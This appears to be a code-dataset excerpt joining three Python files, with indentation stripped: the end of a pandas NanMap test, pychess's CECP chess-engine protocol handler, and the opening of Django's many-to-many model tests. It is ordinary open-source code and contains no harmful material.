transformer = NanMap({'x': 100.})
transformer.fit(X)
X_ = transformer.transform(X)
assert_array_almost_equal(X['y'], X_['y'])
assert not (X['x'] == X_['x']).all()
fix = X['x'].copy()
fix[1] = 100.
assert_array_almost_equal(fix, X_['x'])
def test_non_strict():
X = pandas.DataFrame(np.random.normal(size=(10,3)), columns=['x','y','z'])
X.loc[1,'x'] = np.nan
X.loc[2, 'y'] = np.nan
transformer = NanMap({'x': 100.,
'w': 0.})
transformer.fit(X)
X_ = transformer.transform(X)
assert_array_almost_equal(X['y'], X_['y'])
assert not (X['x'] == X_['x']).all()
fix = X['x'].copy()
fix[1] = 100.
assert_array_almost_equal(fix, X_['x'])
if __name__ == '__main__':
import sys
import nose
# This code will run the test in this file.'
module_name = sys.modules[__name__].__file__
result = nose.run(argv=[sys.argv[0],
module_name,
'-s', '-v'])
| bsd-3-clause |
leogregianin/pychess | lib/pychess/Players/CECPEngine.py | 1 | 39654 |
import asyncio
import itertools
import re
from gi.repository import Gtk, GObject
from pychess.compat import create_task
from pychess.Utils import wait_signal
from pychess.System import conf
from pychess.System.Log import log
from pychess.widgets import mainwindow
from pychess.Utils.Move import Move
from pychess.Utils.Board import Board
from pychess.Utils.Cord import Cord
from pychess.Utils.Move import toSAN, toAN, parseAny
from pychess.Utils.Offer import Offer
from pychess.Utils.const import ANALYZING, INVERSE_ANALYZING, DRAW, WHITEWON, BLACKWON, \
WON_ADJUDICATION, DRAW_OFFER, ACTION_ERROR_NONE_TO_ACCEPT, CASTLE_KK, WHITE, \
CASTLE_SAN, FISCHERRANDOMCHESS, BLACK, reprSign, RESIGNATION
from pychess.Utils.logic import validate, getMoveKillingKing
from pychess.Utils.lutils.ldata import MATE_VALUE
from pychess.Utils.lutils.lmove import ParsingError
from pychess.Variants import variants
from pychess.Players.Player import PlayerIsDead, TurnInterrupt, InvalidMove
from .ProtocolEngine import ProtocolEngine, TIME_OUT_SECOND
movere = re.compile(r"""
( # group start
(?: # non grouping parenthesis start
[PKQRBN]? # piece
[a-h]?[1-8]? # unambiguous column or line
x? # capture
@? # drop
[a-h][1-8] # destination square
=?[QRBN]? # promotion
|O\-O(?:\-O)? # castling
|0\-0(?:\-0)? # castling
) # non grouping parenthesis end
[+#]? # check/mate
) # group end
\s* # any whitespace
""", re.VERBOSE)
d_plus_dot_expr = re.compile(r"\d+\.")
anare = re.compile("""
^ # beginning of string
(\s* #
\d+ [+\-\.]? # The ply analyzed. Some engines end it with a dot, minus or plus
\s+) #
(-?Mat\s*\d+ | [+\-\d\.]+) # The score found in centipawns.
# Mat1 is used by gnuchess to specify mate in one.
# otherwise we should support a signed float
\s+ #
([\d\.]+) # The time used in centi-seconds
\s+ #
([\d\.]+) # Number of nodes visited
\s+ #
(.+) # The Principal-Variation. With or without move numbers
\s* #
$ # end of string
""", re.VERBOSE)
# anare = re.compile("\(d+)\.?\s+ (Mat\d+|[-\d\.]+) \s+ \d+\s+\d+\s+((?:%s\s*)+)" % mov)
whitespaces = re.compile(r"\s+")
# There is no way in the CECP protocol to determine if an engine not answering
# the protover=2 handshake with done=1 is old or just very slow. Thus we
# need a timeout after which we conclude the engine is 'protover=1' and will
# never answer.
# XBoard will only give 2 seconds, but as we are quite sure that
# the engines support the protocol, we can add more. We don't add
# infinite time though, just in case.
# The engine can get more time by sending done=0
class CECPEngine(ProtocolEngine):
def __init__(self, subprocess, color, protover, md5):
ProtocolEngine.__init__(self, subprocess, color, protover, md5)
self.features = {
"ping": 0,
"setboard": 0,
"playother": 0,
"san": 0,
"usermove": 0,
"time": 1,
"draw": 1,
"sigint": 0,
"sigterm": 0,
"reuse": 0,
"analyze": 0,
"myname": ', '.join(self.defname),
"variants": None,
"colors": 1,
"ics": 0,
"name": 0,
"pause": 0,
"nps": 0,
"debug": 0,
"memory": 0,
"smp": 0,
"egt": '',
"option": '',
"exclude": 0,
"done": None,
}
self.supported_features = [
"ping", "setboard", "san", "usermove", "time", "draw", "sigint",
"analyze", "myname", "variants", "colors", "pause", "done", "egt",
"debug", "smp", "memory", "option"
]
self.options = {}
self.options["Ponder"] = {"name": "Ponder",
"type": "check",
"default": False}
self.name = None
self.board = Board(setup=True)
# if self.engineIsInNotPlaying == True, engine is in "force" mode,
# i.e. not thinking or playing, but still verifying move legality
self.engineIsInNotPlaying = False
self.engineIsAnalyzing = False
self.movenext = False
self.waitingForMove = False
self.readyForMoveNowCommand = False
self.timeHandicap = 1
self.lastping = 0
self.lastpong = 0
self.queue = asyncio.Queue()
self.parse_line_task = create_task(self.parseLine(self.engine))
self.died_cid = self.engine.connect("died", lambda e: self.queue.put_nowait("die"))
self.invalid_move = None
self.optionQueue = []
self.undoQueue = []
self.ready_moves_event = asyncio.Event()
self.cids = [
self.connect_after("readyForOptions", self.__onReadyForOptions),
self.connect_after("readyForMoves", self.__onReadyForMoves),
]
# Starting the game
def prestart(self):
print("xboard", file=self.engine)
if self.protover == 1:
# start a new game (CECPv1 engines):
print("new", file=self.engine)
# we are now ready for options:
self.emit("readyForOptions")
elif self.protover == 2:
# start advanced protocol initialisation:
print("protover 2", file=self.engine)
# we don't start a new game for CECPv2 here,
# we will do it after feature accept/reject is completed.
def start(self, event, is_dead):
create_task(self.__startBlocking(event, is_dead))
@asyncio.coroutine
def __startBlocking(self, event, is_dead):
if self.protover == 1:
self.emit("readyForMoves")
return_value = "ready"
if self.protover == 2:
try:
return_value = yield from asyncio.wait_for(self.queue.get(), TIME_OUT_SECOND)
if return_value == "not ready":
return_value = yield from asyncio.wait_for(self.queue.get(), TIME_OUT_SECOND)
# Gaviota sends done=0 after "xboard" and after "protover 2" too
if return_value == "not ready":
return_value = yield from asyncio.wait_for(self.queue.get(), TIME_OUT_SECOND)
self.emit("readyForOptions")
self.emit("readyForMoves")
except asyncio.TimeoutError:
log.warning("Got timeout error", extra={"task": self.defname})
is_dead.add(True)
except Exception:
log.warning("Unknown error", extra={"task": self.defname})
is_dead.add(True)
else:
if return_value == "die":
is_dead.add(True)
assert return_value == "ready" or return_value == "del"
if event is not None:
event.set()
def __onReadyForOptions(self, self_):
# We always want post turned on so the Engine Output sidebar can
# show those things -Jonas Thiem
print("post", file=self.engine)
for command in self.optionQueue:
print(command, file=self.engine)
def __onReadyForMoves(self, self_):
if self.mode in (ANALYZING, INVERSE_ANALYZING):
# workaround for crafty not sending analysis after it has found a mating line
# http://code.google.com/p/pychess/issues/detail?id=515
if "crafty" in self.features["myname"].lower():
print("noise 0", file=self.engine)
self.__sendAnalyze(self.mode == INVERSE_ANALYZING)
self.ready_moves_event.set()
self.readyMoves = True
# Ending the game
def end(self, status, reason):
self.parse_line_task.cancel()
if self.engine.handler_is_connected(self.died_cid):
self.engine.disconnect(self.died_cid)
if self.handler_is_connected(self.analyze_cid):
self.disconnect(self.analyze_cid)
for cid in self.cids:
if self.handler_is_connected(cid):
self.disconnect(cid)
self.board = None
if self.connected:
# We currently can't fillout the comment "field" as the repr strings
# for reasons and statuses lies in Main.py
# Creating Status and Reason class would solve this
if status == DRAW:
print("result 1/2-1/2 {?}", file=self.engine)
elif status == WHITEWON:
print("result 1-0 {?}", file=self.engine)
elif status == BLACKWON:
print("result 0-1 {?}", file=self.engine)
else:
print("result * {?}", file=self.engine)
if reason == WON_ADJUDICATION:
self.queue.put_nowait("invalid")
# Make sure the engine exits and do some cleaning
self.kill(reason)
def kill(self, reason):
""" Kills the engine, starting with the 'quit' command, then sigterm and
eventually sigkill.
Returns the exitcode, or if engine have already been killed, returns
None """
if self.connected:
self.connected = False
try:
try:
print("quit", file=self.engine)
self.queue.put_nowait("del")
self.engine.terminate()
except OSError as err:
# No need to raise on a hang up error, as the engine is dead
# anyways
if err.errno == 32:
log.warning("Hung up Error", extra={"task": self.defname})
return err.errno
else:
raise
finally:
# Clear the analyzed data, if any
self.emit("analyze", [])
# Send the player move updates
def setBoard(self, board, search=True):
def coro():
if self.engineIsAnalyzing:
self.__stop_analyze()
yield from asyncio.sleep(0.1)
self.setBoardList([board], [])
if search:
self.__sendAnalyze(self.mode == INVERSE_ANALYZING)
create_task(coro())
def putMove(self, board1, move, board2):
""" Sends the engine the last move made (for spectator engines).
@param board1: The current board
@param move: The last move made
@param board2: The board before the last move was made
"""
def coro():
if self.engineIsAnalyzing:
self.__stop_analyze()
yield from asyncio.sleep(0.1)
self.setBoardList([board1], [])
if not self.analyzing_paused:
self.__sendAnalyze(self.mode == INVERSE_ANALYZING)
create_task(coro())
@asyncio.coroutine
def makeMove(self, board1, move, board2):
""" Gets a move from the engine (for player engines).
@param board1: The current board
@param move: The last move made
@param board2: The board before the last move was made
@return: The move the engine decided to make
"""
log.debug("makeMove: move=%s self.movenext=%s board1=%s board2=%s self.board=%s" % (
move, self.movenext, board1, board2, self.board), extra={"task": self.defname})
assert self.readyMoves
if self.board == board1 or not board2 or self.movenext:
self.board = board1
self.__tellEngineToPlayCurrentColorAndMakeMove()
self.movenext = False
else:
self.board = board1
self.__usermove(board2, move)
if self.engineIsInNotPlaying:
self.__tellEngineToPlayCurrentColorAndMakeMove()
self.waitingForMove = True
self.readyForMoveNowCommand = True
# Parse outputs
status = yield from self.queue.get()
if status == "not ready":
log.warning(
"Engine seems to be protover=2, but is treated as protover=1",
extra={"task": self.defname})
status = yield from self.queue.get()
if status == "ready":
status = yield from self.queue.get()
if status == "invalid":
raise InvalidMove
if status == "del" or status == "die":
raise PlayerIsDead("Killed by foreign forces")
if status == "int":
raise TurnInterrupt
self.waitingForMove = False
self.readyForMoveNowCommand = False
assert isinstance(status, Move), status
return status
def updateTime(self, secs, opsecs):
if self.features["time"]:
print("time %s" % int(secs * 100 * self.timeHandicap),
file=self.engine)
print("otim %s" % int(opsecs * 100), file=self.engine)
# Standard options
def setOptionAnalyzing(self, mode):
self.mode = mode
def setOptionInitialBoard(self, model):
@asyncio.coroutine
def coro():
yield from self.ready_moves_event.wait()
# We don't use the optionQueue here, as set board prints a whole lot of
# stuff. Instead we just call it.
self.setBoardList(model.boards[:], model.moves[:])
create_task(coro())
def setBoardList(self, boards, moves):
# Notice: If this method is to be called while playing, the engine will
# need 'new' and an arrangement similar to that of 'pause' to avoid
# the current thought move to appear
if self.mode not in (ANALYZING, INVERSE_ANALYZING):
self.__tellEngineToStopPlayingCurrentColor()
self.__setBoard(boards[0])
self.board = boards[-1]
for board, move in zip(boards[:-1], moves):
self.__usermove(board, move)
if self.mode in (ANALYZING, INVERSE_ANALYZING):
self.board = boards[-1]
if self.mode == INVERSE_ANALYZING:
self.board = self.board.switchColor()
# The called of setBoardList will have to repost/analyze the
# analyzer engines at this point.
def setOptionVariant(self, variant):
if self.features["variants"] is None:
log.warning("setOptionVariant: engine doesn't support variants",
extra={"task": self.defname})
return
if variant in variants.values() and not variant.standard_rules:
assert variant.cecp_name in self.features["variants"], \
"%s doesn't support %s variant" % (self, variant.cecp_name)
self.optionQueue.append("variant %s" % variant.cecp_name)
# Strength system #
# Strength Depth Ponder Time handicap #
# 1 1 o 1,258% #
# 2 2 o 1,584% #
# 3 3 o 1.995% #
# #
# 19 o x 79,43% #
# 20 o x o #
def setOptionStrength(self, strength, forcePonderOff):
self.strength = strength
if strength <= 19:
self.__setTimeHandicap(0.01 * 10 ** (strength / 10.))
if strength <= 18:
self.__setDepth(strength)
# Crafty ofers 100 skill levels
if "crafty" in self.features["myname"].lower() and strength <= 19:
self.optionQueue.append("skill %s" % strength * 5)
self.__setPonder(strength >= 19 and not forcePonderOff)
if strength == 20:
if "gaviota" in self.features["egt"]:
self.optionQueue.append("egtpath gaviota %s" % conf.get("egtb_path"))
else:
self.optionQueue.append("random")
def __setDepth(self, depth):
self.optionQueue.append("sd %d" % depth)
def __setTimeHandicap(self, timeHandicap):
self.timeHandicap = timeHandicap
def __setPonder(self, ponder):
if ponder:
self.optionQueue.append("hard")
else:
self.optionQueue.append("hard")
self.optionQueue.append("easy")
def setOptionTime(self, secs, gain, moves):
# Notice: In CECP we apply time handicap in updateTime, not in
# setOptionTime.
minutes = int(secs / 60)
secs = int(secs % 60)
mins = str(minutes)
if secs:
mins += ":" + str(secs)
self.optionQueue.append("level %s %s %d" % (moves, mins, gain))
# Option handling
def setOption(self, key, value):
""" Set an option, which will be sent to the engine, after the
'readyForOptions' signal has passed.
If you want to know the possible options, you should go to
engineDiscoverer or use the hasOption method
while you are in your 'readyForOptions' signal handler """
if self.readyMoves:
log.warning(
"Options set after 'readyok' are not sent to the engine",
extra={"task": self.defname})
if key == "cores":
self.optionQueue.append("cores %s" % value)
elif key == "memory":
self.optionQueue.append("memory %s" % value)
elif key.lower() == "ponder":
self.__setPonder(value == 1)
else:
self.optionQueue.append("option %s=%s" % (key, value))
# Interacting with the player
def pause(self):
""" Pauses engine using the "pause" command if available. Otherwise put
engine in force mode. By the specs the engine shouldn't ponder in
force mode, but some of them do so anyways. """
log.debug("pause: self=%s" % self, extra={"task": self.defname})
if self.isAnalyzing():
self.__stop_analyze()
self.analyzing_paused = True
else:
self.engine.pause()
return
def resume(self):
log.debug("resume: self=%s" % self, extra={"task": self.defname})
if self.isAnalyzing():
self.__sendAnalyze(self.mode == INVERSE_ANALYZING)
self.analyzing_paused = False
else:
self.engine.resume()
return
def hurry(self):
log.debug("hurry: self.waitingForMove=%s self.readyForMoveNowCommand=%s" % (
self.waitingForMove, self.readyForMoveNowCommand), extra={"task": self.defname})
if self.waitingForMove and self.readyForMoveNowCommand:
self.__tellEngineToMoveNow()
self.readyForMoveNowCommand = False
def spectatorUndoMoves(self, moves, gamemodel):
if self.analyzing_paused:
return
log.debug("spectatorUndoMoves: moves=%s gamemodel.ply=%s gamemodel.boards[-1]=%s self.board=%s" % (
moves, gamemodel.ply, gamemodel.boards[-1], self.board), extra={"task": self.defname})
for i in range(moves):
print("undo", file=self.engine)
self.board = gamemodel.boards[-1]
def playerUndoMoves(self, moves, gamemodel):
log.debug("CECPEngine.playerUndoMoves: moves=%s self=%s gamemodel.curplayer=%s" %
(moves, self, gamemodel.curplayer), extra={"task": self.defname})
self.board = gamemodel.boards[-1]
self.__tellEngineToStopPlayingCurrentColor()
for i in range(moves):
print("undo", file=self.engine)
if gamemodel.curplayer != self and moves % 2 == 1 or \
(gamemodel.curplayer == self and moves % 2 == 0):
# Interrupt if we were searching, but should no longer do so
log.debug("CECPEngine.playerUndoMoves: putting TurnInterrupt into self.move_queue %s" % self.name, extra={"task": self.defname})
self.queue.put_nowait("int")
# Offer handling
def offer(self, offer):
if offer.type == DRAW_OFFER:
if self.features["draw"]:
print("draw", file=self.engine)
else:
self.emit("accept", offer)
def offerError(self, offer, error):
if self.features["draw"]:
# We don't keep track if engine draws are offers or accepts. We just
# Always assume they are accepts, and if they are not, we get this
# error and emit offer instead
if offer.type == DRAW_OFFER and error == ACTION_ERROR_NONE_TO_ACCEPT:
self.emit("offer", Offer(DRAW_OFFER))
# Internal
def __usermove(self, board, move):
if self.features["usermove"]:
self.engine.write("usermove ")
if self.features["san"]:
print(toSAN(board, move), file=self.engine)
else:
castle_notation = CASTLE_KK
if board.variant == FISCHERRANDOMCHESS:
castle_notation = CASTLE_SAN
print(
toAN(board,
move,
short=True,
castleNotation=castle_notation),
file=self.engine)
def __tellEngineToMoveNow(self):
if self.features["sigint"]:
self.engine.sigint()
print("?", file=self.engine)
def __tellEngineToStopPlayingCurrentColor(self):
print("force", file=self.engine)
self.engineIsInNotPlaying = True
def __tellEngineToPlayCurrentColorAndMakeMove(self):
self.__printColor()
print("go", file=self.engine)
self.engineIsInNotPlaying = False
def __stop_analyze(self):
if self.engineIsAnalyzing:
print("exit", file=self.engine)
# Some engines (crafty, gnuchess) doesn't respond to exit command
# we try to force them to stop with an empty board fen
print("setboard 8/8/8/8/8/8/8/8 w - - 0 1", file=self.engine)
self.engineIsAnalyzing = False
def __sendAnalyze(self, inverse=False):
if inverse and self.board.board.opIsChecked():
# Many engines don't like positions able to take down enemy
# king. Therefore we just return the "kill king" move
# automaticaly
self.emit("analyze", [(self.board.ply, [toAN(
self.board, getMoveKillingKing(self.board))], MATE_VALUE - 1, "1", "")])
return
print("post", file=self.engine)
print("analyze", file=self.engine)
self.engineIsAnalyzing = True
if not conf.get("infinite_analysis"):
loop = asyncio.get_event_loop()
loop.call_later(conf.get("max_analysis_spin"), self.__stop_analyze)
def __printColor(self):
if self.features["colors"]: # or self.mode == INVERSE_ANALYZING:
if self.board.color == WHITE:
print("white", file=self.engine)
else:
print("black", file=self.engine)
def __setBoard(self, board):
if self.features["setboard"]:
self.__tellEngineToStopPlayingCurrentColor()
fen = board.asFen(enable_bfen=False)
if self.mode == INVERSE_ANALYZING:
fen_arr = fen.split()
if not self.board.board.opIsChecked():
if fen_arr[1] == "b":
fen_arr[1] = "w"
else:
fen_arr[1] = "b"
fen = " ".join(fen_arr)
print("setboard %s" % fen, file=self.engine)
else:
# Kludge to set black to move, avoiding the troublesome and now
# deprecated "black" command. - Equal to the one xboard uses
self.__tellEngineToStopPlayingCurrentColor()
if board.color == BLACK:
print("a2a3", file=self.engine)
print("edit", file=self.engine)
print("#", file=self.engine)
for color in WHITE, BLACK:
for y_loc, row in enumerate(board.data):
for x_loc, piece in row.items():
if not piece or piece.color != color:
continue
sign = reprSign[piece.sign]
cord = repr(Cord(x_loc, y_loc))
print(sign + cord, file=self.engine)
print("c", file=self.engine)
print(".", file=self.engine)
# Parsing
@asyncio.coroutine
def parseLine(self, proc):
while True:
line = yield from wait_signal(proc, 'line')
if not line:
break
else:
line = line[1]
if line[0:1] == "#":
# Debug line which we shall ignore as specified in CECPv2 specs
continue
# log.debug("__parseLine: line=\"%s\"" % line.strip(), extra={"task":self.defname})
parts = whitespaces.split(line.strip())
if parts[0] == "pong":
self.lastpong = int(parts[1])
continue
# Illegal Move
if parts[0].lower().find("illegal") >= 0:
log.warning("__parseLine: illegal move: line=\"%s\", board=%s" % (
line.strip(), self.board), extra={"task": self.defname})
if parts[-2] == "sd" and parts[-1].isdigit():
print("depth", parts[-1], file=self.engine)
continue
# A Move (Perhaps)
if self.board:
if parts[0] == "move":
movestr = parts[1]
# Old Variation
elif d_plus_dot_expr.match(parts[0]) and parts[1] == "...":
movestr = parts[2]
else:
movestr = False
if movestr:
self.waitingForMove = False
self.readyForMoveNowCommand = False
if self.engineIsInNotPlaying:
# If engine was set in pause just before the engine sent its
# move, we ignore it. However the engine has to know that we
# ignored it, and thus we step it one back
log.info("__parseLine: Discarding engine's move: %s" %
movestr,
extra={"task": self.defname})
print("undo", file=self.engine)
continue
else:
try:
move = parseAny(self.board, movestr)
except ParsingError:
self.invalid_move = movestr
log.info(
"__parseLine: ParsingError engine move: %s %s"
% (movestr, self.board),
extra={"task": self.defname})
self.end(WHITEWON if self.board.color == BLACK else
BLACKWON, WON_ADJUDICATION)
continue
if validate(self.board, move):
self.board = None
self.queue.put_nowait(move)
continue
else:
self.invalid_move = movestr
log.info(
"__parseLine: can't validate engine move: %s %s"
% (movestr, self.board),
extra={"task": self.defname})
self.end(WHITEWON if self.board.color == BLACK else
BLACKWON, WON_ADJUDICATION)
continue
# Analyzing
if self.engineIsInNotPlaying:
if parts[:4] == ["0", "0", "0", "0"]:
# Crafty doesn't analyze until it is out of book
print("book off", file=self.engine)
continue
match = anare.match(line)
if match:
depth, score, time, nodes, moves = match.groups()
if "mat" in score.lower() or "#" in moves:
# Will look either like -Mat 3 or Mat3
scoreval = MATE_VALUE
if score.startswith('-'):
scoreval = -scoreval
else:
scoreval = int(score)
nps = str(int(int(nodes) / (int(time) / 100))) if int(time) > 0 else ""
mvstrs = movere.findall(moves)
if mvstrs:
self.emit("analyze", [(self.board.ply, mvstrs, scoreval, depth.strip(), nps)])
continue
# Offers draw
if parts[0:2] == ["offer", "draw"]:
self.emit("accept", Offer(DRAW_OFFER))
continue
# Resigns
if parts[0] == "resign" or \
(parts[0] == "tellics" and parts[1] == "resign"): # buggy crafty
# Previously: if "resign" in parts,
# however, this is too generic, since "hint", "bk",
# "feature option=.." and possibly other, future CECPv2
# commands can validly contain the word "resign" without this
# being an intentional resign offer.
self.emit("offer", Offer(RESIGNATION))
continue
# if parts[0].lower() == "error":
# continue
# Tell User Error
if parts[0] == "tellusererror":
# We don't want to see our stop analyzer hack as an error message
if "8/8/8/8/8/8/8/8" in "".join(parts[1:]):
continue
# Create a non-modal non-blocking message dialog with the error:
dlg = Gtk.MessageDialog(mainwindow(),
flags=0,
type=Gtk.MessageType.WARNING,
buttons=Gtk.ButtonsType.CLOSE,
message_format=None)
# Use the engine name if already known, otherwise the defname:
displayname = self.name
if not displayname:
displayname = self.defname
# Compose the dialog text:
dlg.set_markup(GObject.markup_escape_text(_(
"The engine %s reports an error:") % displayname) + "\n\n" +
GObject.markup_escape_text(" ".join(parts[1:])))
# handle response signal so the "Close" button works:
dlg.connect("response", lambda dlg, x: dlg.destroy())
dlg.show_all()
continue
# Tell Somebody
if parts[0][:4] == "tell" and \
parts[0][4:] in ("others", "all", "ics", "icsnoalias"):
log.info("Ignoring tell %s: %s" %
(parts[0][4:], " ".join(parts[1:])))
continue
if "feature" in parts:
# Some engines send features after done=1, so we will iterate after done=1 too
done1 = False
# We skip parts before 'feature', as some engines give us lines like
# White (1) : feature setboard=1 analyze...e="GNU Chess 5.07" done=1
parts = parts[parts.index("feature"):]
for i, pair in enumerate(parts[1:]):
# As "parts" is split with no thoughs on quotes or double quotes
# we need to do some extra handling.
if pair.find("=") < 0:
continue
key, value = pair.split("=", 1)
if key not in self.features:
continue
if value.startswith('"') and value.endswith('"'):
value = value[1:-1]
# If our pair was unfinished, like myname="GNU, we search the
# rest of the pairs for a quotating mark.
elif value[0] == '"':
rest = value[1:] + " " + " ".join(parts[2 + i:])
j = rest.find('"')
if j == -1:
log.warning("Missing endquotation in %s feature",
extra={"task": self.defname})
value = rest
else:
value = rest[:j]
elif value.isdigit():
value = int(value)
if key in self.supported_features:
print("accepted %s" % key, file=self.engine)
else:
print("rejected %s" % key, file=self.engine)
if key == "done":
if value == 1:
done1 = True
continue
elif value == 0:
log.info("Adds %d seconds timeout" % TIME_OUT_SECOND,
extra={"task": self.defname})
# This'll buy you some more time
self.queue.put_nowait("not ready")
break
if key == "smp" and value == 1:
self.options["cores"] = {"name": "cores",
"type": "spin",
"default": 1,
"min": 1,
"max": 64}
elif key == "memory" and value == 1:
self.options["memory"] = {"name": "memory",
"type": "spin",
"default": 32,
"min": 1,
"max": 4096}
elif key == "option" and key != "done":
option = self.__parse_option(value)
self.options[option["name"]] = option
else:
self.features[key] = value
if key == "myname" and not self.name:
self.setName(value)
if done1:
# Start a new game before using the engine:
# (CECPv2 engines)
print("new", file=self.engine)
# We are now ready for play:
self.emit("readyForOptions")
self.emit("readyForMoves")
self.queue.put_nowait("ready")
# A hack to get better names in protover 1.
# Unfortunately it wont work for now, as we don't read any lines from
# protover 1 engines. When should we stop?
if self.protover == 1:
if self.defname[0] in ''.join(parts):
basis = self.defname[0]
name = ' '.join(itertools.dropwhile(
lambda part: basis not in part, parts))
self.features['myname'] = name
if not self.name:
self.setName(name)
def __parse_option(self, option):
if " -check " in option:
name, value = option.split(" -check ")
return {"type": "check", "name": name, "default": bool(int(value))}
elif " -spin " in option:
name, value = option.split(" -spin ")
defv, minv, maxv = value.split()
return {"type": "spin",
"name": name,
"default": int(defv),
"min": int(minv),
"max": int(maxv)}
elif " -slider " in option:
name, value = option.split(" -slider ")
defv, minv, maxv = value.split()
return {"type": "spin",
"name": name,
"default": int(defv),
"min": int(minv),
"max": int(maxv)}
elif " -string " in option:
name, value = option.split(" -string ")
return {"type": "text", "name": name, "default": value}
elif " -file " in option:
name, value = option.split(" -file ")
return {"type": "text", "name": name, "default": value}
elif " -path " in option:
name, value = option.split(" -path ")
return {"type": "text", "name": name, "default": value}
elif " -combo " in option:
name, value = option.split(" -combo ")
choices = list(map(str.strip, value.split("///")))
default = ""
for choice in choices:
if choice.startswith("*"):
index = choices.index(choice)
default = choice[1:]
choices[index] = default
break
return {"type": "combo",
"name": name,
"default": default,
"choices": choices}
elif " -button" in option:
pos = option.find(" -button")
return {"type": "button", "name": option[:pos]}
elif " -save" in option:
pos = option.find(" -save")
return {"type": "button", "name": option[:pos]}
elif " -reset" in option:
pos = option.find(" -reset")
return {"type": "button", "name": option[:pos]}
# Info
def canAnalyze(self):
assert self.ready, "Still waiting for done=1"
return self.features["analyze"]
def getAnalysisLines(self):
return 1
def minAnalysisLines(self):
return 1
def maxAnalysisLines(self):
return 1
def requestMultiPV(self, setting):
return 1
def __repr__(self):
if self.name:
return self.name
return self.features["myname"]
| gpl-3.0 |
SnappleCap/oh-mainline | vendor/packages/Django/tests/modeltests/many_to_many/tests.py | 109 | 17906 | from __future__ import absolute_import
from django.test import TestCase
from django.utils import six
from .models import Article, Publication
class ManyToManyTests(TestCase):
def setUp(self):
# Create a couple of Publications.
self.p1 = Publication.objects.create(id=None, title='The Python Journal')
self.p2 = Publication.objects.create(id=None, title='Science News')
self.p3 = Publication.objects.create(id=None, title='Science Weekly')
self.p4 = Publication.objects.create(title='Highlights for Children')
self.a1 = Article.objects.create(id=None, headline='Django lets you build Web apps easily')
self.a1.publications.add(self.p1)
self.a2 = Article.objects.create(id=None, headline='NASA uses Python')
self.a2.publications.add(self.p1, self.p2, self.p3, self.p4)
self.a3 = Article.objects.create(headline='NASA finds intelligent life on Earth')
self.a3.publications.add(self.p2)
self.a4 = Article.objects.create(headline='Oxygen-free diet works wonders')
self.a4.publications.add(self.p2)
def test_add(self):
# Create an Article.
a5 = Article(id=None, headline='Django lets you reate Web apps easily')
# You can't associate it with a Publication until it's been saved.
self.assertRaises(ValueError, getattr, a5, 'publications')
# Save it!
a5.save()
# Associate the Article with a Publication.
a5.publications.add(self.p1)
self.assertQuerysetEqual(a5.publications.all(),
['<Publication: The Python Journal>'])
# Create another Article, and set it to appear in both Publications.
a6 = Article(id=None, headline='ESA uses Python')
a6.save()
a6.publications.add(self.p1, self.p2)
a6.publications.add(self.p3)
# Adding a second time is OK
a6.publications.add(self.p3)
self.assertQuerysetEqual(a6.publications.all(),
[
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
# Adding an object of the wrong type raises TypeError
with six.assertRaisesRegex(self, TypeError, "'Publication' instance expected, got <Article.*"):
a6.publications.add(a5)
# Add a Publication directly via publications.add by using keyword arguments.
p4 = a6.publications.create(title='Highlights for Adults')
self.assertQuerysetEqual(a6.publications.all(),
[
'<Publication: Highlights for Adults>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
def test_reverse_add(self):
# Adding via the 'other' end of an m2m
a5 = Article(headline='NASA finds intelligent life on Mars')
a5.save()
self.p2.article_set.add(a5)
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA finds intelligent life on Mars>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(a5.publications.all(),
['<Publication: Science News>'])
# Adding via the other end using keywords
new_article = self.p2.article_set.create(headline='Carbon-free diet works wonders')
self.assertQuerysetEqual(
self.p2.article_set.all(),
[
'<Article: Carbon-free diet works wonders>',
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA finds intelligent life on Mars>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
a6 = self.p2.article_set.all()[3]
self.assertQuerysetEqual(a6.publications.all(),
[
'<Publication: Highlights for Children>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
def test_related_sets(self):
# Article objects have access to their related Publication objects.
self.assertQuerysetEqual(self.a1.publications.all(),
['<Publication: The Python Journal>'])
self.assertQuerysetEqual(self.a2.publications.all(),
[
'<Publication: Highlights for Children>',
'<Publication: Science News>',
'<Publication: Science Weekly>',
'<Publication: The Python Journal>',
])
# Publication objects have access to their related Article objects.
self.assertQuerysetEqual(self.p2.article_set.all(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(self.p1.article_set.all(),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA uses Python>',
])
self.assertQuerysetEqual(Publication.objects.get(id=self.p4.id).article_set.all(),
['<Article: NASA uses Python>'])
def test_selects(self):
# We can perform kwarg queries across m2m relationships
self.assertQuerysetEqual(
Article.objects.filter(publications__id__exact=self.p1.id),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA uses Python>',
])
self.assertQuerysetEqual(
Article.objects.filter(publications__pk=self.p1.id),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA uses Python>',
])
self.assertQuerysetEqual(
Article.objects.filter(publications=self.p1.id),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA uses Python>',
])
self.assertQuerysetEqual(
Article.objects.filter(publications=self.p1),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA uses Python>',
])
self.assertQuerysetEqual(
Article.objects.filter(publications__title__startswith="Science"),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
self.assertQuerysetEqual(
Article.objects.filter(publications__title__startswith="Science").distinct(),
[
'<Article: NASA finds intelligent life on Earth>',
'<Article: NASA uses Python>',
'<Article: Oxygen-free diet works wonders>',
])
# The count() function respects distinct() as well.
self.assertEqual(Article.objects.filter(publications__title__startswith="Science").count(), 4)
self.assertEqual(Article.objects.filter(publications__title__startswith="Science").distinct().count(), 3)
self.assertQuerysetEqual(
Article.objects.filter(publications__in=[self.p1.id,self.p2.id]).distinct(),
[
'<Article: Django lets you build Web apps easily>',
'<Article: NASA finds intelligent life on Earth>',
